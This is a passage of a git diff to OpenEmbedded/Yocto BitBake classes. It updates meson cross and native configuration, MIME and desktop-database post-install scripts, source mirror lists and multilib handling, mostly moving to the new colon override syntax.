+ --sharedstatedir ${sharedstatedir} \
+ --wrap-mode nodownload \
+ --native-file ${WORKDIR}/meson.native"
-EXTRA_OEMESON_append = " ${PACKAGECONFIG_CONFARGS}"
+EXTRA_OEMESON:append = " ${PACKAGECONFIG_CONFARGS}"
MESON_CROSS_FILE = ""
-MESON_CROSS_FILE_class-target = "--cross-file ${WORKDIR}/meson.cross"
-MESON_CROSS_FILE_class-nativesdk = "--cross-file ${WORKDIR}/meson.cross"
+MESON_CROSS_FILE:class-target = "--cross-file ${WORKDIR}/meson.cross"
+MESON_CROSS_FILE:class-nativesdk = "--cross-file ${WORKDIR}/meson.cross"
-def meson_array(var, d):
- items = d.getVar(var).split()
- return repr(items[0] if len(items) == 1 else items)
+# Needed to set up qemu wrapper below
+export STAGING_DIR_HOST
-# Map our ARCH values to what Meson expects:
-# http://mesonbuild.com/Reference-tables.html#cpu-families
-def meson_cpu_family(var, d):
- import re
- arch = d.getVar(var)
- if arch == 'powerpc':
- return 'ppc'
- elif arch == 'powerpc64':
- return 'ppc64'
- elif arch == 'armeb':
- return 'arm'
- elif arch == 'aarch64_be':
- return 'aarch64'
- elif arch == 'mipsel':
- return 'mips'
- elif arch == 'mips64el':
- return 'mips64'
- elif re.match(r"i[3-6]86", arch):
- return "x86"
- elif arch == "microblazeel" or arch == "microblazeeb":
- return "microblaze"
- else:
- return arch
-
-def meson_endian(prefix, d):
- arch, os = d.getVar(prefix + "_ARCH"), d.getVar(prefix + "_OS")
- sitedata = siteinfo_data_for_machine(arch, os, d)
- if "endian-little" in sitedata:
- return "little"
- elif "endian-big" in sitedata:
- return "big"
- else:
- bb.fatal("Cannot determine endianism for %s-%s" % (arch, os))
+def rust_tool(d, target_var):
+ rustc = d.getVar('RUSTC')
+ if not rustc:
+ return ""
+ cmd = [rustc, "--target", d.getVar(target_var)] + d.getVar("RUSTFLAGS").split()
+ return "rust = %s" % repr(cmd)
addtask write_config before do_configure
-do_write_config[vardeps] += "CC CXX LD AR NM STRIP READELF CFLAGS CXXFLAGS LDFLAGS"
+do_write_config[vardeps] += "CC CXX LD AR NM STRIP READELF CFLAGS CXXFLAGS LDFLAGS RUSTC RUSTFLAGS"
do_write_config() {
# This needs to be Py to split the args into single-element lists
cat >${WORKDIR}/meson.cross <<EOF
@@ -80,37 +61,95 @@ c = ${@meson_array('CC', d)}
cpp = ${@meson_array('CXX', d)}
ar = ${@meson_array('AR', d)}
nm = ${@meson_array('NM', d)}
-ld = ${@meson_array('LD', d)}
strip = ${@meson_array('STRIP', d)}
readelf = ${@meson_array('READELF', d)}
+objcopy = ${@meson_array('OBJCOPY', d)}
pkgconfig = 'pkg-config'
llvm-config = 'llvm-config${LLVMVERSION}'
+cups-config = 'cups-config'
+g-ir-scanner = '${STAGING_BINDIR}/g-ir-scanner-wrapper'
+g-ir-compiler = '${STAGING_BINDIR}/g-ir-compiler-wrapper'
+${@rust_tool(d, "HOST_SYS")}
+${@"exe_wrapper = '${WORKDIR}/meson-qemuwrapper'" if d.getVar('EXEWRAPPER_ENABLED') == 'True' else ""}
-[properties]
-needs_exe_wrapper = true
+[built-in options]
c_args = ${@meson_array('CFLAGS', d)}
c_link_args = ${@meson_array('LDFLAGS', d)}
cpp_args = ${@meson_array('CXXFLAGS', d)}
cpp_link_args = ${@meson_array('LDFLAGS', d)}
-gtkdoc_exe_wrapper = '${B}/gtkdoc-qemuwrapper'
+
+[properties]
+needs_exe_wrapper = true
[host_machine]
-system = '${HOST_OS}'
+system = '${@meson_operating_system('HOST_OS', d)}'
cpu_family = '${@meson_cpu_family('HOST_ARCH', d)}'
cpu = '${HOST_ARCH}'
endian = '${@meson_endian('HOST', d)}'
[target_machine]
-system = '${TARGET_OS}'
+system = '${@meson_operating_system('TARGET_OS', d)}'
cpu_family = '${@meson_cpu_family('TARGET_ARCH', d)}'
cpu = '${TARGET_ARCH}'
endian = '${@meson_endian('TARGET', d)}'
EOF
+
+ cat >${WORKDIR}/meson.native <<EOF
+[binaries]
+c = ${@meson_array('BUILD_CC', d)}
+cpp = ${@meson_array('BUILD_CXX', d)}
+ar = ${@meson_array('BUILD_AR', d)}
+nm = ${@meson_array('BUILD_NM', d)}
+strip = ${@meson_array('BUILD_STRIP', d)}
+readelf = ${@meson_array('BUILD_READELF', d)}
+objcopy = ${@meson_array('BUILD_OBJCOPY', d)}
+pkgconfig = 'pkg-config-native'
+${@rust_tool(d, "BUILD_SYS")}
+
+[built-in options]
+c_args = ${@meson_array('BUILD_CFLAGS', d)}
+c_link_args = ${@meson_array('BUILD_LDFLAGS', d)}
+cpp_args = ${@meson_array('BUILD_CXXFLAGS', d)}
+cpp_link_args = ${@meson_array('BUILD_LDFLAGS', d)}
+EOF
}
+do_write_config:append:class-target() {
+ # Write out a qemu wrapper that will be used as exe_wrapper so that meson
+ # can run target helper binaries through that.
+ qemu_binary="${@qemu_wrapper_cmdline(d, '$STAGING_DIR_HOST', ['$STAGING_DIR_HOST/${libdir}','$STAGING_DIR_HOST/${base_libdir}'])}"
+ cat > ${WORKDIR}/meson-qemuwrapper << EOF
+#!/bin/sh
+# Use a modules directory which doesn't exist so we don't load random things
+# which may then get deleted (or their dependencies) and potentially segfault
+export GIO_MODULE_DIR=${STAGING_LIBDIR}/gio/modules-dummy
+
+# meson sets this wrongly (only to libs in build-dir), qemu_wrapper_cmdline() and GIR_EXTRA_LIBS_PATH take care of it properly
+unset LD_LIBRARY_PATH
+
+$qemu_binary "\$@"
+EOF
+ chmod +x ${WORKDIR}/meson-qemuwrapper
+}
+
+# Tell externalsrc that changes to this file require a reconfigure
CONFIGURE_FILES = "meson.build"
meson_do_configure() {
+ # Meson requires this to be 'bfd, 'lld' or 'gold' from 0.53 onwards
+ # https://github.com/mesonbuild/meson/commit/ef9aeb188ea2bc7353e59916c18901cde90fa2b3
+ unset LD
+
+ # sstate.bbclass no longer removes empty directories to avoid a race (see
+ # commit 4f94d929 "sstate/staging: Handle directory creation race issue").
+ # Unfortunately Python apparently treats an empty egg-info directory as if
+ # the version it previously contained still exists and fails if a newer
+ # version is required, which Meson does. To avoid this, make sure there are
+ # no empty egg-info directories from previous versions left behind. Ignore
+ # all errors from rmdir since the egg-info may be a file rather than a
+ # directory.
+ rmdir ${STAGING_LIBDIR_NATIVE}/${PYTHON_DIR}/site-packages/*.egg-info 2>/dev/null || :
+
# Work around "Meson fails if /tmp is mounted with noexec #2972"
mkdir -p "${B}/meson-private/tmp"
export TMPDIR="${B}/meson-private/tmp"
@@ -120,32 +159,15 @@ meson_do_configure() {
fi
}
-override_native_tools() {
- # Set these so that meson uses the native tools for its build sanity tests,
- # which require executables to be runnable. The cross file will still
- # override these for the target build.
- export CC="${BUILD_CC}"
- export CXX="${BUILD_CXX}"
- export LD="${BUILD_LD}"
- export AR="${BUILD_AR}"
- export STRIP="${BUILD_STRIP}"
- # These contain *target* flags but will be used as *native* flags. The
- # correct native flags will be passed via -Dc_args and so on, unset them so
- # they don't interfere with tools invoked by Meson (such as g-ir-scanner)
- unset CPPFLAGS CFLAGS CXXFLAGS LDFLAGS
-}
-
-meson_do_configure_prepend_class-target() {
- override_native_tools
-}
-
-meson_do_configure_prepend_class-nativesdk() {
- override_native_tools
-}
-
-meson_do_configure_prepend_class-native() {
- export PKG_CONFIG="pkg-config-native"
+python meson_do_qa_configure() {
+ import re
+ warn_re = re.compile(r"^WARNING: Cross property (.+) is using default value (.+)$", re.MULTILINE)
+ with open(d.expand("${B}/meson-logs/meson-log.txt")) as logfile:
+ log = logfile.read()
+ for (prop, value) in warn_re.findall(log):
+ bb.warn("Meson cross property %s used without explicit assignment, defaulting to %s" % (prop, value))
}
+do_configure[postfuncs] += "meson_do_qa_configure"
do_compile[progress] = "outof:^\[(\d+)/(\d+)\]\s+"
meson_do_compile() {
diff --git a/meta/classes/meta.bbclass b/meta/classes/meta.bbclass
deleted file mode 100644
index 5e6890238b..0000000000
--- a/meta/classes/meta.bbclass
+++ /dev/null
@@ -1,4 +0,0 @@
-
-PACKAGES = ""
-
-do_build[recrdeptask] = "do_build"
diff --git a/meta/classes/metadata_scm.bbclass b/meta/classes/metadata_scm.bbclass
index 58bb4c555a..47cb969b8d 100644
--- a/meta/classes/metadata_scm.bbclass
+++ b/meta/classes/metadata_scm.bbclass
@@ -1,6 +1,3 @@
-METADATA_BRANCH ?= "${@base_detect_branch(d)}"
-METADATA_REVISION ?= "${@base_detect_revision(d)}"
-
def base_detect_revision(d):
path = base_get_scmbasepath(d)
return base_get_metadata_git_revision(path, d)
@@ -40,3 +37,8 @@ def base_get_metadata_git_revision(path, d):
except bb.process.ExecutionError:
rev = '<unknown>'
return rev.strip()
+
+METADATA_BRANCH := "${@base_detect_branch(d)}"
+METADATA_BRANCH[vardepvalue] = "${METADATA_BRANCH}"
+METADATA_REVISION := "${@base_detect_revision(d)}"
+METADATA_REVISION[vardepvalue] = "${METADATA_REVISION}"
diff --git a/meta/classes/mime-xdg.bbclass b/meta/classes/mime-xdg.bbclass
new file mode 100644
index 0000000000..271f48dd72
--- /dev/null
+++ b/meta/classes/mime-xdg.bbclass
@@ -0,0 +1,74 @@
+#
+# This class creates mime <-> application associations based on entry
+# 'MimeType' in *.desktop files
+#
+
+DEPENDS += "desktop-file-utils"
+PACKAGE_WRITE_DEPS += "desktop-file-utils-native"
+DESKTOPDIR = "${datadir}/applications"
+
+# There are recipes out there installing their .desktop files as absolute
+# symlinks. For us these are dangling and cannot be introspected for "MimeType"
+# easily. By addding package-names to MIME_XDG_PACKAGES, packager can force
+# proper update-desktop-database handling. Note that all introspection is
+# skipped for MIME_XDG_PACKAGES not empty
+MIME_XDG_PACKAGES ?= ""
+
+mime_xdg_postinst() {
+if [ "x$D" != "x" ]; then
+ $INTERCEPT_DIR/postinst_intercept update_desktop_database ${PKG} \
+ mlprefix=${MLPREFIX} \
+ desktop_dir=${DESKTOPDIR}
+else
+ update-desktop-database $D${DESKTOPDIR}
+fi
+}
+
+mime_xdg_postrm() {
+if [ "x$D" != "x" ]; then
+ $INTERCEPT_DIR/postinst_intercept update_desktop_database ${PKG} \
+ mlprefix=${MLPREFIX} \
+ desktop_dir=${DESKTOPDIR}
+else
+ update-desktop-database $D${DESKTOPDIR}
+fi
+}
+
+python populate_packages:append () {
+ packages = d.getVar('PACKAGES').split()
+ pkgdest = d.getVar('PKGDEST')
+ desktop_base = d.getVar('DESKTOPDIR')
+ forced_mime_xdg_pkgs = (d.getVar('MIME_XDG_PACKAGES') or '').split()
+
+ for pkg in packages:
+ desktops_with_mime_found = pkg in forced_mime_xdg_pkgs
+ if d.getVar('MIME_XDG_PACKAGES') == '':
+ desktop_dir = '%s/%s%s' % (pkgdest, pkg, desktop_base)
+ if os.path.exists(desktop_dir):
+ for df in os.listdir(desktop_dir):
+ if df.endswith('.desktop'):
+ try:
+ with open(desktop_dir + '/'+ df, 'r') as f:
+ for line in f.read().split('\n'):
+ if 'MimeType' in line:
+ desktops_with_mime_found = True
+ break;
+ except:
+ bb.warn('Could not open %s. Set MIME_XDG_PACKAGES in recipe or add mime-xdg to INSANE_SKIP.' % desktop_dir + '/'+ df)
+ if desktops_with_mime_found:
+ break
+ if desktops_with_mime_found:
+ bb.note("adding mime-xdg postinst and postrm scripts to %s" % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
+ if not postinst:
+ postinst = '#!/bin/sh\n'
+ postinst += d.getVar('mime_xdg_postinst')
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
+ if not postrm:
+ postrm = '#!/bin/sh\n'
+ postrm += d.getVar('mime_xdg_postrm')
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
+ bb.note("adding desktop-file-utils dependency to %s" % pkg)
+ d.appendVar('RDEPENDS:' + pkg, " " + d.getVar('MLPREFIX')+"desktop-file-utils")
+}
diff --git a/meta/classes/mime.bbclass b/meta/classes/mime.bbclass
index 6c7b868f79..8d176a884e 100644
--- a/meta/classes/mime.bbclass
+++ b/meta/classes/mime.bbclass
@@ -1,57 +1,70 @@
-DEPENDS += "shared-mime-info"
+#
+# This class is used by recipes installing mime types
+#
+
+DEPENDS += "${@bb.utils.contains('BPN', 'shared-mime-info', '', 'shared-mime-info', d)}"
PACKAGE_WRITE_DEPS += "shared-mime-info-native"
+MIMEDIR = "${datadir}/mime"
mime_postinst() {
-if [ "$1" = configure ]; then
- UPDATEMIMEDB=`which update-mime-database`
- if [ -x "$UPDATEMIMEDB" ] ; then
- echo "Updating MIME database... this may take a while."
- $UPDATEMIMEDB $D${datadir}/mime
- else
- echo "Missing update-mime-database, update of mime database failed!"
- exit 1
- fi
+if [ "x$D" != "x" ]; then
+ $INTERCEPT_DIR/postinst_intercept update_mime_database ${PKG} \
+ mlprefix=${MLPREFIX} \
+ mimedir=${MIMEDIR}
+else
+ echo "Updating MIME database... this may take a while."
+ update-mime-database $D${MIMEDIR}
fi
}
mime_postrm() {
-if [ "$1" = remove ] || [ "$1" = upgrade ]; then
- UPDATEMIMEDB=`which update-mime-database`
- if [ -x "$UPDATEMIMEDB" ] ; then
- echo "Updating MIME database... this may take a while."
- $UPDATEMIMEDB $D${datadir}/mime
+if [ "x$D" != "x" ]; then
+ $INTERCEPT_DIR/postinst_intercept update_mime_database ${PKG} \
+ mlprefix=${MLPREFIX} \
+ mimedir=${MIMEDIR}
+else
+ echo "Updating MIME database... this may take a while."
+ # $D${MIMEDIR}/packages belong to package shared-mime-info-data,
+ # packages like libfm-mime depend on shared-mime-info-data.
+ # after shared-mime-info-data uninstalled, $D${MIMEDIR}/packages
+ # is removed, but update-mime-database need this dir to update
+ # database, workaround to create one and remove it later
+ if [ ! -d $D${MIMEDIR}/packages ]; then
+ mkdir -p $D${MIMEDIR}/packages
+ update-mime-database $D${MIMEDIR}
+ rmdir --ignore-fail-on-non-empty $D${MIMEDIR}/packages
else
- echo "Missing update-mime-database, update of mime database failed!"
- exit 1
- fi
+ update-mime-database $D${MIMEDIR}
+fi
fi
}
-python populate_packages_append () {
- import re
+python populate_packages:append () {
packages = d.getVar('PACKAGES').split()
pkgdest = d.getVar('PKGDEST')
+ mimedir = d.getVar('MIMEDIR')
for pkg in packages:
- mime_dir = '%s/%s/usr/share/mime/packages' % (pkgdest, pkg)
- mimes = []
- mime_re = re.compile(".*\.xml$")
- if os.path.exists(mime_dir):
- for f in os.listdir(mime_dir):
- if mime_re.match(f):
- mimes.append(f)
- if mimes:
+ mime_packages_dir = '%s/%s%s/packages' % (pkgdest, pkg, mimedir)
+ mimes_types_found = False
+ if os.path.exists(mime_packages_dir):
+ for f in os.listdir(mime_packages_dir):
+ if f.endswith('.xml'):
+ mimes_types_found = True
+ break
+ if mimes_types_found:
bb.note("adding mime postinst and postrm scripts to %s" % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('mime_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += d.getVar('mime_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
- bb.note("adding shared-mime-info-data dependency to %s" % pkg)
- d.appendVar('RDEPENDS_' + pkg, " " + d.getVar('MLPREFIX')+"shared-mime-info-data")
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
+ if pkg != 'shared-mime-info-data':
+ bb.note("adding shared-mime-info-data dependency to %s" % pkg)
+ d.appendVar('RDEPENDS:' + pkg, " " + d.getVar('MLPREFIX')+"shared-mime-info-data")
}
diff --git a/meta/classes/mirrors.bbclass b/meta/classes/mirrors.bbclass
index 87bba41472..8e7b35d900 100644
--- a/meta/classes/mirrors.bbclass
+++ b/meta/classes/mirrors.bbclass
@@ -1,76 +1,76 @@
MIRRORS += "\
-${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian/20180310T215105Z/pool \n \
-${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20120328T092752Z/debian/pool \n \
-${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20110127T084257Z/debian/pool \n \
-${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20090802T004153Z/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.de.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.au.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.cl.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.hr.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.fi.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.hk.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.hu.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.ie.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.it.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.jp.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.no.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.pl.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.ro.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.si.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.es.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.se.debian.org/debian/pool \n \
-${DEBIAN_MIRROR} http://ftp.tr.debian.org/debian/pool \n \
-${GNU_MIRROR} https://mirrors.kernel.org/gnu \n \
-${KERNELORG_MIRROR} http://www.kernel.org/pub \n \
-${GNUPG_MIRROR} ftp://ftp.gnupg.org/gcrypt \n \
-${GNUPG_MIRROR} ftp://ftp.franken.de/pub/crypt/mirror/ftp.gnupg.org/gcrypt \n \
-${GNUPG_MIRROR} ftp://mirrors.dotsrc.org/gcrypt \n \
-ftp://dante.ctan.org/tex-archive ftp://ftp.fu-berlin.de/tex/CTAN \n \
-ftp://dante.ctan.org/tex-archive http://sunsite.sut.ac.jp/pub/archives/ctan/ \n \
-ftp://dante.ctan.org/tex-archive http://ctan.unsw.edu.au/ \n \
-ftp://ftp.gnutls.org/gcrypt/gnutls ${GNUPG_MIRROR}/gnutls \n \
-http://ftp.info-zip.org/pub/infozip/src/ http://mirror.switch.ch/ftp/mirror/infozip/src/ \n \
-http://ftp.info-zip.org/pub/infozip/src/ ftp://sunsite.icm.edu.pl/pub/unix/archiving/info-zip/src/ \n \
-http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/ http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/OLD/ \n \
-${APACHE_MIRROR} http://www.us.apache.org/dist \n \
-${APACHE_MIRROR} http://archive.apache.org/dist \n \
-http://downloads.sourceforge.net/watchdog/ http://fossies.org/linux/misc/ \n \
-${SAVANNAH_GNU_MIRROR} http://download-mirror.savannah.gnu.org/releases \n \
-${SAVANNAH_NONGNU_MIRROR} http://download-mirror.savannah.nongnu.org/releases \n \
-ftp://sourceware.org/pub http://mirrors.kernel.org/sourceware \n \
-ftp://sourceware.org/pub http://gd.tuwien.ac.at/gnu/sourceware \n \
-ftp://sourceware.org/pub http://ftp.gwdg.de/pub/linux/sources.redhat.com/sourceware \n \
-cvs://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-svn://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-git://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-hg://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-bzr://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-p4://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-osc://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-https?$://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-ftp://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-npm://.*/?.* http://downloads.yoctoproject.org/mirror/sources/ \n \
-cvs://.*/.* http://sources.openembedded.org/ \n \
-svn://.*/.* http://sources.openembedded.org/ \n \
-git://.*/.* http://sources.openembedded.org/ \n \
-hg://.*/.* http://sources.openembedded.org/ \n \
-bzr://.*/.* http://sources.openembedded.org/ \n \
-p4://.*/.* http://sources.openembedded.org/ \n \
-osc://.*/.* http://sources.openembedded.org/ \n \
-https?$://.*/.* http://sources.openembedded.org/ \n \
-ftp://.*/.* http://sources.openembedded.org/ \n \
-npm://.*/?.* http://sources.openembedded.org/ \n \
-${CPAN_MIRROR} http://cpan.metacpan.org/ \n \
-${CPAN_MIRROR} http://search.cpan.org/CPAN/ \n \
+${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian/20180310T215105Z/pool \
+${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20120328T092752Z/debian/pool \
+${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20110127T084257Z/debian/pool \
+${DEBIAN_MIRROR} http://snapshot.debian.org/archive/debian-archive/20090802T004153Z/debian/pool \
+${DEBIAN_MIRROR} http://ftp.de.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.au.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.cl.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.hr.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.fi.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.hk.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.hu.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.ie.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.it.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.jp.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.no.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.pl.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.ro.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.si.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.es.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.se.debian.org/debian/pool \
+${DEBIAN_MIRROR} http://ftp.tr.debian.org/debian/pool \
+${GNU_MIRROR} https://mirrors.kernel.org/gnu \
+${KERNELORG_MIRROR} http://www.kernel.org/pub \
+${GNUPG_MIRROR} ftp://ftp.gnupg.org/gcrypt \
+${GNUPG_MIRROR} ftp://ftp.franken.de/pub/crypt/mirror/ftp.gnupg.org/gcrypt \
+${GNUPG_MIRROR} ftp://mirrors.dotsrc.org/gcrypt \
+ftp://dante.ctan.org/tex-archive ftp://ftp.fu-berlin.de/tex/CTAN \
+ftp://dante.ctan.org/tex-archive http://sunsite.sut.ac.jp/pub/archives/ctan/ \
+ftp://dante.ctan.org/tex-archive http://ctan.unsw.edu.au/ \
+ftp://ftp.gnutls.org/gcrypt/gnutls ${GNUPG_MIRROR}/gnutls \
+http://ftp.info-zip.org/pub/infozip/src/ ftp://sunsite.icm.edu.pl/pub/unix/archiving/info-zip/src/ \
+http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/ http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/OLD/ \
+${APACHE_MIRROR} http://www.us.apache.org/dist \
+${APACHE_MIRROR} http://archive.apache.org/dist \
+http://downloads.sourceforge.net/watchdog/ http://fossies.org/linux/misc/ \
+${SAVANNAH_GNU_MIRROR} http://download-mirror.savannah.gnu.org/releases \
+${SAVANNAH_NONGNU_MIRROR} http://download-mirror.savannah.nongnu.org/releases \
+ftp://sourceware.org/pub http://mirrors.kernel.org/sourceware \
+ftp://sourceware.org/pub http://gd.tuwien.ac.at/gnu/sourceware \
+ftp://sourceware.org/pub http://ftp.gwdg.de/pub/linux/sources.redhat.com/sourceware \
+cvs://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+svn://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+git://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+hg://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+bzr://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+p4://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+osc://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+https?://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+ftp://.*/.* http://downloads.yoctoproject.org/mirror/sources/ \
+npm://.*/?.* http://downloads.yoctoproject.org/mirror/sources/ \
+cvs://.*/.* http://sources.openembedded.org/ \
+svn://.*/.* http://sources.openembedded.org/ \
+git://.*/.* http://sources.openembedded.org/ \
+hg://.*/.* http://sources.openembedded.org/ \
+bzr://.*/.* http://sources.openembedded.org/ \
+p4://.*/.* http://sources.openembedded.org/ \
+osc://.*/.* http://sources.openembedded.org/ \
+https?://.*/.* http://sources.openembedded.org/ \
+ftp://.*/.* http://sources.openembedded.org/ \
+npm://.*/?.* http://sources.openembedded.org/ \
+${CPAN_MIRROR} http://cpan.metacpan.org/ \
+${CPAN_MIRROR} http://search.cpan.org/CPAN/ \
+https?://downloads.yoctoproject.org/releases/uninative/ https://mirrors.kernel.org/yocto/uninative/ \
+https?://downloads.yoctoproject.org/mirror/sources/ https://mirrors.kernel.org/yocto-sources/ \
"
# Use MIRRORS to provide git repo fallbacks using the https protocol, for cases
# where git native protocol fetches may fail due to local firewall rules, etc.
MIRRORS += "\
-git://salsa.debian.org/.* git://salsa.debian.org/PATH;protocol=https \n \
-git://git.gnome.org/.* git://gitlab.gnome.org/GNOME/PATH;protocol=https \n \
-git://git.savannah.gnu.org/.* git://git.savannah.gnu.org/git/PATH;protocol=https \n \
-git://git.yoctoproject.org/.* git://git.yoctoproject.org/git/PATH;protocol=https \n \
-git://.*/.* git://HOST/PATH;protocol=https \n \
+git://salsa.debian.org/.* git://salsa.debian.org/PATH;protocol=https \
+git://git.gnome.org/.* git://gitlab.gnome.org/GNOME/PATH;protocol=https \
+git://.*/.* git://HOST/PATH;protocol=https \
+git://.*/.* git://HOST/git/PATH;protocol=https \
"
diff --git a/meta/classes/module.bbclass b/meta/classes/module.bbclass
index c0dfa35061..a09ec3ed1e 100644
--- a/meta/classes/module.bbclass
+++ b/meta/classes/module.bbclass
@@ -14,7 +14,7 @@ python __anonymous () {
d.setVar('KBUILD_EXTRA_SYMBOLS', " ".join(extra_symbols))
}
-python do_devshell_prepend () {
+python do_devshell:prepend () {
os.environ['CFLAGS'] = ''
os.environ['CPPFLAGS'] = ''
os.environ['CXXFLAGS'] = ''
@@ -70,5 +70,5 @@ EXPORT_FUNCTIONS do_compile do_install
# add all splitted modules to PN RDEPENDS, PN can be empty now
KERNEL_MODULES_META_PACKAGE = "${PN}"
-FILES_${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
+FILES:${PN} = ""
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/classes/multilib.bbclass b/meta/classes/multilib.bbclass
index 1a9295d36f..5859ca8d21 100644
--- a/meta/classes/multilib.bbclass
+++ b/meta/classes/multilib.bbclass
@@ -35,7 +35,7 @@ python multilib_virtclass_handler () {
e.data.setVar('SDKTARGETSYSROOT', e.data.getVar('SDKTARGETSYSROOT'))
override = ":virtclass-multilib-" + variant
e.data.setVar("OVERRIDES", e.data.getVar("OVERRIDES", False) + override)
- target_vendor = e.data.getVar("TARGET_VENDOR_" + "virtclass-multilib-" + variant, False)
+ target_vendor = e.data.getVar("TARGET_VENDOR:" + "virtclass-multilib-" + variant, False)
if target_vendor:
e.data.setVar("TARGET_VENDOR", target_vendor)
return
@@ -65,24 +65,25 @@ python multilib_virtclass_handler () {
override = ":virtclass-multilib-" + variant
- blacklist = e.data.getVarFlag('PNBLACKLIST', e.data.getVar('PN'))
- if blacklist:
+ skip_msg = e.data.getVarFlag('SKIP_RECIPE', e.data.getVar('PN'))
+ if skip_msg:
pn_new = variant + "-" + e.data.getVar('PN')
- if not e.data.getVarFlag('PNBLACKLIST', pn_new):
- e.data.setVarFlag('PNBLACKLIST', pn_new, blacklist)
+ if not e.data.getVarFlag('SKIP_RECIPE', pn_new):
+ e.data.setVarFlag('SKIP_RECIPE', pn_new, skip_msg)
e.data.setVar("MLPREFIX", variant + "-")
e.data.setVar("PN", variant + "-" + e.data.getVar("PN", False))
e.data.setVar("OVERRIDES", e.data.getVar("OVERRIDES", False) + override)
- # Expand WHITELIST_GPL-3.0 with multilib prefix
- pkgs = e.data.getVar("WHITELIST_GPL-3.0")
- for pkg in pkgs.split():
- pkgs += " " + variant + "-" + pkg
- e.data.setVar("WHITELIST_GPL-3.0", pkgs)
+ # Expand INCOMPATIBLE_LICENSE_EXCEPTIONS with multilib prefix
+ pkgs = e.data.getVar("INCOMPATIBLE_LICENSE_EXCEPTIONS")
+ if pkgs:
+ for pkg in pkgs.split():
+ pkgs += " " + variant + "-" + pkg
+ e.data.setVar("INCOMPATIBLE_LICENSE_EXCEPTIONS", pkgs)
# DEFAULTTUNE can change TARGET_ARCH override so expand this now before update_data
- newtune = e.data.getVar("DEFAULTTUNE_" + "virtclass-multilib-" + variant, False)
+ newtune = e.data.getVar("DEFAULTTUNE:" + "virtclass-multilib-" + variant, False)
if newtune:
e.data.setVar("DEFAULTTUNE", newtune)
}
@@ -91,13 +92,16 @@ addhandler multilib_virtclass_handler
multilib_virtclass_handler[eventmask] = "bb.event.RecipePreFinalise"
